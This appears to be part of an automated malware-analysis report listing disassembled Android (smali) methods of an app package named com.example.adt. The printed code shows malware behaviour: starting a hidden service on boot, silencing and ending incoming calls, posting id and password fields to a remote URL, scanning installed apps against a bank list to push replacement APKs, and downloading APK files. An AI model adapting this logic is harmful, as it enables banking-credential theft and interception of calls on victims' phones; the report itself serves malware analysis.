| 288 | move-result-object v2 | |
| 290 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 292 | iget-object v3, v3, Lcom/example/adt/CoreService;->capp:Ljava/lang/String; | |
| 294 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 295 | move-result-object v2 | |
| 297 | const-string v3, "&sapp=" | |
| 299 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 300 | move-result-object v2 | |
| 302 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 304 | iget-object v3, v3, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String; | |
| 306 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 307 | move-result-object v2 | |
| 309 | const-string v3, "&t=" | |
| 311 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 312 | move-result-object v2 | |
| 314 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 316 | iget-object v3, v3, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String; | |
| 318 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 319 | move-result-object v2 | |
| 321 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 322 | move-result-object v2 | |
| 323 | iput-object v2, v1, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
| 324 | new-instance v1, Ljava/lang/Thread; | |
| 325 | new-instance v2, Lcom/example/adt/CoreService$MyRunnable; | |
| 327 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 329 | iget-object v4, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 331 | iget-object v4, v4, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
| 333 | invoke-direct {v2, v3, v4}, Lcom/example/adt/CoreService$MyRunnable;-><init>(Lcom/example/adt/CoreService;Ljava/lang/String;)V | |
| 335 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 337 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
| 338 | try_end_1ad: goto/16 :goto_0 | |
| 339 | catch_1af: move-exception v0 | |
| 341 | invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V | |
| 342 | goto/16 :goto_0 | |
| 343 | cond_1b5: | |
| 344 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 345 | const/4 v2, 0x0 | |
| 346 | iput v2, v1, Lcom/example/adt/CoreService;->newClient:I | |
| 347 | goto/16 :goto_49 | |
| 348 | cond_1bc: | |
| 349 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 351 | iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
| 352 | const/4 v2, 0x2 | |
| 354 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 355 | move-result-object v2 | |
| 357 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
| 358 | move-result v1 | |
| 359 | if-eqz v1, :cond_1d3 | |
| 361 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 363 | const-string v2, "wap" | |
| 364 | iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
| 365 | goto/16 :goto_df | |
| 366 | cond_1d3: | |
| 367 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 369 | iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
| 370 | const/4 v2, 0x3 | |
| 372 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 373 | move-result-object v2 | |
| 375 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
| 376 | move-result v1 | |
| 377 | if-eqz v1, :cond_df | |
| 379 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 381 | const-string v2, "net" | |
| 382 | iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
| 383 | try_end_1e8: goto/16 :goto_df |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .parameter "intent" | |
| 2 | .prologue | |
| 4 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 5 | move-result-object v2 | |
| 7 | const-string v3, "android.intent.action.BOOT_COMPLETED" | |
| 9 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 10 | move-result v2 | |
| 11 | if-nez v2, :cond_18 | |
| 13 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 14 | move-result-object v2 | |
| 16 | const-string v3, "android.intent.action.USER_PRESENT" | |
| 18 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 19 | move-result v2 | |
| 20 | if-eqz v2, :cond_25 | |
| 21 | cond_18: new-instance v1, Landroid/content/Intent; | |
| 23 | invoke-direct {v1}, Landroid/content/Intent;-><init>()V | |
| 24 | const-class v2, Lcom/example/adt/CoreService; | |
| 26 | invoke-virtual {v1, p1, v2}, Landroid/content/Intent;->setClass(Landroid/content/Context;Ljava/lang/Class;)Landroid/content/Intent; | |
| 28 | invoke-virtual {p1, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; | |
| 29 | cond_25: | |
| 30 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 31 | move-result-object v2 | |
| 33 | const-string v3, "android.intent.action.PACKAGE_ADDED" | |
| 35 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 37 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 38 | new-instance v3, Ljava/lang/StringBuilder; | |
| 40 | const-string v4, "\u6211\u63a5\u6536\u5230\u4e86\u4e00\u4e2a\u7cfb\u7edf\u5e7f\u64ad => " | |
| 42 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 44 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 45 | move-result-object v4 | |
| 47 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 48 | move-result-object v3 | |
| 50 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 51 | move-result-object v3 | |
| 53 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 55 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 56 | move-result-object v2 | |
| 58 | const-string v3, "android.intent.action.PACKAGE_REMOVED" | |
| 60 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 61 | move-result v2 | |
| 62 | if-eqz v2, :cond_8e | |
| 64 | invoke-virtual {p2}, Landroid/content/Intent;->getDataString()Ljava/lang/String; | |
| 65 | move-result-object v2 | |
| 66 | new-instance v3, Ljava/lang/StringBuilder; | |
| 68 | const-string v4, "package:" | |
| 70 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 72 | sget-object v4, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 74 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 75 | move-result-object v3 | |
| 77 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 78 | move-result-object v3 | |
| 80 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 81 | move-result v2 | |
| 82 | if-eqz v2, :cond_76 | |
| 84 | const-string v2, "" | |
| 85 | sput-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 87 | sget-object v2, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
| 89 | invoke-static {v2}, Lcom/example/adt/DownLoad;->openFile(Ljava/io/File;)V | |
| 90 | cond_76: | |
| 91 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 92 | new-instance v3, Ljava/lang/StringBuilder; | |
| 94 | const-string v4, "\u6211\u5378\u8f7d\u7684\u8f6f\u4ef6\u662f => " | |
| 96 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 98 | invoke-virtual {p2}, Landroid/content/Intent;->getDataString()Ljava/lang/String; | |
| 99 | move-result-object v4 | |
| 101 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 102 | move-result-object v3 | |
| 104 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 105 | move-result-object v3 | |
| 107 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 108 | cond_8e: | |
| 109 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 110 | move-result-object v2 | |
| 112 | const-string v3, "cn.gx3.notify" | |
| 114 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 115 | move-result v2 | |
| 116 | if-eqz v2, :cond_b0 | |
| 118 | sget-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 120 | const-string v3, "" | |
| 122 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 123 | move-result v2 | |
| 124 | if-eqz v2, :cond_b6 | |
| 125 | try_start_a4: | |
| 126 | sget-object v2, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
| 128 | invoke-static {v2}, Lcom/example/adt/DownLoad;->openFile(Ljava/io/File;)V | |
| 129 | try_end_a9: | |
| 130 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 132 | const-string v3, "\u6211\u5df2\u7ecf\u63a5\u6536\u5230\u4e86\u5378\u8f7d\u8f6f\u4ef6\u7684\u5e7f\u64ad" | |
| 134 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 135 | cond_b0: return-void | |
| 136 | catch_b1: move-exception v0 | |
| 138 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
| 139 | goto/16 :goto_a9 | |
| 140 | cond_b6: | |
| 141 | sget-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 143 | invoke-static {v2}, Lcom/example/adt/CoreService;->uninstallAPK(Ljava/lang/String;)V | |
| 144 | try_end_bb: goto/16 :goto_a9 | |
| 145 | catch_bc: move-exception v2 | |
| 146 | goto/16 :goto_a9 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .parameter "intent" | |
| 2 | .prologue | |
| 3 | const/4 v6, 0x0 | |
| 5 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 6 | move-result-object v0 | |
| 8 | const-string v4, "incoming_number" | |
| 10 | invoke-virtual {p2, v4}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
| 11 | move-result-object v4 | |
| 12 | iput-object v4, p0, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String; | |
| 14 | const-string v4, "android.intent.action.NEW_OUTGOING_CALL" | |
| 16 | invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 17 | move-result v4 | |
| 18 | if-nez v4, :cond_35 | |
| 19 | const/4 v2, 0x0 | |
| 21 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 23 | const-string v5, "audio" | |
| 25 | invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 26 | move-result-object v2 | |
| 27 | check-cast v2, Landroid/media/AudioManager; | |
| 29 | invoke-virtual {v2, v6, v6}, Landroid/media/AudioManager;->setVibrateSetting(II)V |
|
| 31 | invoke-virtual {v2, v6}, Landroid/media/AudioManager;->setRingerMode(I)V |
|
| 33 | const-string v4, "phone" | |
| 35 | invoke-virtual {p1, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 36 | move-result-object v3 | |
| 37 | check-cast v3, Landroid/telephony/TelephonyManager; | |
| 38 | try_start_2e: | |
| 39 | invoke-virtual {v3}, Landroid/telephony/TelephonyManager;->getCallState()I | |
| 40 | move-result v4 | |
| 41 | packed-switch v4, :pswitch_data_a2 | |
| 42 | pswitch_35: return-void | |
| 43 | pswitch_36: | |
| 44 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 46 | const-string v5, "iscall" | |
| 47 | const/4 v6, 0x1 | |
| 49 | invoke-static {v4, v5, v6}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
| 50 | move-result v4 | |
| 52 | invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
| 53 | move-result-object v1 | |
| 55 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 56 | new-instance v5, Ljava/lang/StringBuilder; | |
| 58 | const-string v6, "\u6765\u7535\u53f7\u7801 \uff1a " | |
| 60 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 62 | iget-object v6, p0, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String; | |
| 64 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 65 | move-result-object v5 | |
| 67 | const-string v6, " \u72b6\u6001: " | |
| 69 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 70 | move-result-object v5 | |
| 72 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
| 73 | move-result-object v5 | |
| 75 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 76 | move-result-object v5 | |
| 78 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 79 | const/4 v4, 0x1 | |
| 81 | invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 82 | move-result-object v4 | |
| 84 | invoke-virtual {v1, v4}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
| 85 | move-result v4 | |
| 86 | if-eqz v4, :cond_35 | |
| 88 | invoke-direct {p0}, Lcom/example/adt/PhoneListener;->endCall()V | |
| 90 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 91 | new-instance v5, Ljava/lang/StringBuilder; | |
| 93 | const-string v6, "\u62e6\u622a\u547d\u4ee4\u662f\u5426\u5f00\u542f =>" | |
| 95 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 97 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
| 98 | move-result-object v5 | |
| 100 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 101 | move-result-object v5 | |
| 103 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 104 | new-instance v4, Ljava/lang/Thread; | |
| 105 | new-instance v5, Lcom/example/adt/PhoneListener$1; | |
| 107 | invoke-direct {v5, p0}, Lcom/example/adt/PhoneListener$1;-><init>(Lcom/example/adt/PhoneListener;)V | |
| 109 | invoke-direct {v4, v5}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 111 | invoke-virtual {v4}, Ljava/lang/Thread;->start()V | |
| 112 | new-instance v4, Ljava/lang/Thread; | |
| 113 | new-instance v5, Lcom/example/adt/PhoneListener$2; | |
| 115 | invoke-direct {v5, p0}, Lcom/example/adt/PhoneListener$2;-><init>(Lcom/example/adt/PhoneListener;)V | |
| 117 | invoke-direct {v4, v5}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 119 | invoke-virtual {v4}, Ljava/lang/Thread;->start()V | |
| 120 | try_end_9f: goto/16 :goto_35 | |
| 121 | catch_a0: move-exception v4 | |
| 122 | goto/16 :goto_35 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "httpUrl" | |
| 1 | .parameter "id" | |
| 2 | .parameter "pw" | |
| 3 | .parameter "cn" | |
| 4 | .prologue | |
| 6 | const-string v4, "" | |
| 7 | new-instance v1, Lorg/apache/http/client/methods/HttpPost; | |
| 9 | invoke-direct {v1, p1}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
| 10 | new-instance v3, Ljava/util/ArrayList; | |
| 12 | invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V | |
| 13 | new-instance v5, Lorg/apache/http/message/BasicNameValuePair; | |
| 15 | const-string v6, "num1" | |
| 17 | invoke-direct {v5, v6, p2}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
| 19 | invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
| 20 | new-instance v5, Lorg/apache/http/message/BasicNameValuePair; | |
| 22 | const-string v6, "num2" | |
| 24 | invoke-direct {v5, v6, p3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
| 26 | invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
| 27 | new-instance v5, Lorg/apache/http/message/BasicNameValuePair; | |
| 29 | const-string v6, "com" | |
| 31 | invoke-direct {v5, v6, p4}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
| 33 | invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
| 34 | try_start_2a: new-instance v5, Lorg/apache/http/client/entity/UrlEncodedFormEntity; | |
| 36 | const-string v6, "UTF-8" | |
| 38 | invoke-direct {v5, v3, v6}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V |
|
| 40 | invoke-virtual {v1, v5}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V | |
| 41 | new-instance v5, Lorg/apache/http/impl/client/DefaultHttpClient; | |
| 43 | invoke-direct {v5}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
| 45 | invoke-virtual {v5, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; | |
| 46 | move-result-object v2 | |
| 48 | invoke-interface {v2}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
| 49 | move-result-object v5 | |
| 51 | invoke-interface {v5}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
| 52 | move-result v5 | |
| 53 | const/16 v6, 0xc8 | |
| 54 | if-ne v5, v6, :cond_52 | |
| 56 | invoke-interface {v2}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
| 57 | move-result-object v5 | |
| 59 | invoke-static {v5}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String; | |
| 60 | move-result-object v4 | |
| 61 | goto_51: return-object v4 | |
| 62 | cond_52: | |
| 63 | const-string v4, "\u8fde\u63a5\u5931\u8d25" | |
| 64 | try_end_54: goto/16 :goto_51 | |
| 65 | catch_55: move-exception v0 | |
| 67 | invoke-virtual {v0}, Lorg/apache/http/client/ClientProtocolException;->printStackTrace()V | |
| 68 | goto/16 :goto_51 | |
| 69 | catch_5a: move-exception v0 | |
| 71 | invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V | |
| 72 | goto/16 :goto_51 | |
| 73 | catch_5f: move-exception v0 | |
| 75 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
| 76 | goto/16 :goto_51 |
Method: com.example.adt.App->autoChangeApps() Relevance: 7.6, APIs: 0, Strings:
4, Instructions: 123
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | const-string v0, "" | |
| 4 | const-string v6, "" | |
| 6 | sget-object v11, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 8 | invoke-virtual {v11}, Lcom/example/adt/CoreService;->getPackageManager()Landroid/content/pm/PackageManager; | |
| 9 | move-result-object v10 | |
| 10 | const/4 v11, 0x0 | |
| 12 | invoke-virtual {v10, v11}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List; |
|
| 13 | move-result-object v8 | |
| 15 | invoke-interface {v8}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
| 16 | move-result-object v11 | |
| 17 | cond_13: | |
| 18 | invoke-interface {v11}, Ljava/util/Iterator;->hasNext()Z | |
| 19 | move-result v12 | |
| 20 | if-nez v12, :cond_1b | |
| 21 | move-object v7, v6 | |
| 22 | goto_1a: return-object v7 | |
| 23 | cond_1b: | |
| 24 | invoke-interface {v11}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
| 25 | move-result-object v9 | |
| 26 | check-cast v9, Landroid/content/pm/PackageInfo; | |
| 28 | iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 29 | iget v12, v12, Landroid/content/pm/ApplicationInfo;->flags:I | |
| 30 | and-int/lit8 v12, v12, 0x1 | |
| 31 | if-nez v12, :cond_13 | |
| 33 | iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 34 | iget v12, v12, Landroid/content/pm/ApplicationInfo;->flags:I | |
| 35 | and-int/lit16 v12, v12, 0x80 | |
| 36 | if-nez v12, :cond_13 | |
| 37 | new-instance v12, Ljava/lang/StringBuilder; | |
| 39 | invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 40 | move-result-object v13 | |
| 42 | invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 44 | iget-object v13, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 46 | invoke-virtual {v13, v10}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence; | |
| 47 | move-result-object v13 | |
| 49 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
| 50 | move-result-object v12 | |
| 52 | const-string v13, "#" | |
| 54 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 55 | move-result-object v12 | |
| 57 | iget-object v13, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 59 | iget-object v13, v13, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
| 61 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 62 | move-result-object v12 | |
| 64 | const-string v13, "|" | |
| 66 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 67 | move-result-object v12 | |
| 69 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 70 | move-result-object v0 | |
| 71 | const/4 v2, 0x0 | |
| 72 | goto_5d: | |
| 73 | sget-object v12, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 74 | array-length v12, v12 | |
| 75 | if-ge v2, v12, :cond_13 | |
| 77 | sget-object v12, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 78 | aget-object v5, v12, v2 | |
| 80 | sget-object v12, Lcom/example/adt/Config;->upbank:[Ljava/lang/String; | |
| 81 | aget-object v4, v12, v2 | |
| 83 | iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
| 85 | iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
| 87 | invoke-virtual {v5, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 88 | move-result v12 | |
| 89 | if-eqz v12, :cond_a1 | |
| 91 | invoke-static {v4}, Lcom/example/adt/App;->hasApp(Ljava/lang/String;)Z | |
| 92 | move-result v12 | |
| 93 | if-nez v12, :cond_a1 | |
| 94 | sget v12, Lcom/example/adt/Config;->isAlert:I | |
| 95 | if-nez v12, :cond_a1 | |
| 97 | sget-object v11, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
| 98 | aget-object v6, v11, v2 | |
| 99 | new-instance v3, Landroid/content/Intent; | |
| 101 | invoke-direct {v3}, Landroid/content/Intent;-><init>()V | |
| 102 | new-instance v1, Landroid/os/Bundle; | |
| 104 | invoke-direct {v1}, Landroid/os/Bundle;-><init>()V | |
| 106 | const-string v11, "apk" | |
| 108 | invoke-virtual {v1, v11, v6}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V |
|
| 110 | invoke-virtual {v3, v1}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent; | |
| 112 | const-string v11, "app.auto.install" | |
| 114 | invoke-virtual {v3, v11}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
| 116 | sget-object v11, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 118 | invoke-virtual {v11, v3}, Lcom/example/adt/CoreService;->sendBroadcast(Landroid/content/Intent;)V | |
| 119 | move-object v7, v6 | |
| 120 | goto/16 :goto_1a | |
| 121 | cond_a1: add-int/lit8 v2, v2, 0x1 | |
| 122 | goto/16 :goto_5d |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "httpUrl" | |
| 1 | .prologue | |
| 2 | new-instance v12, Ljava/lang/StringBuilder; | |
| 4 | invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar; | |
| 5 | move-result-object v13 | |
| 7 | invoke-virtual {v13}, Ljava/util/Calendar;->getTimeInMillis()J | |
| 8 | move-result-wide v13 | |
| 10 | invoke-static {v13, v14}, Ljava/lang/String;->valueOf(J)Ljava/lang/String; | |
| 11 | move-result-object v13 | |
| 13 | invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 15 | const-string v13, ".apk" | |
| 17 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 18 | move-result-object v12 | |
| 20 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 21 | move-result-object v6 | |
| 22 | new-instance v10, Ljava/io/File; | |
| 24 | invoke-static {}, Lcom/example/adt/Config;->getSDPath()Ljava/lang/String; | |
| 25 | move-result-object v12 | |
| 27 | invoke-direct {v10, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V | |
| 29 | invoke-virtual {v10}, Ljava/io/File;->exists()Z | |
| 30 | move-result v12 | |
| 31 | if-nez v12, :cond_2d | |
| 33 | invoke-virtual {v10}, Ljava/io/File;->mkdir()Z | |
| 34 | cond_2d: new-instance v5, Ljava/io/File; | |
| 35 | new-instance v12, Ljava/lang/StringBuilder; | |
| 37 | invoke-static {}, Lcom/example/adt/Config;->getSDPath()Ljava/lang/String; | |
| 38 | move-result-object v13 | |
| 40 | invoke-static {v13}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 41 | move-result-object v13 | |
| 43 | invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 45 | const-string v13, "/" | |
| 47 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 48 | move-result-object v12 | |
| 50 | invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 51 | move-result-object v12 | |
| 53 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
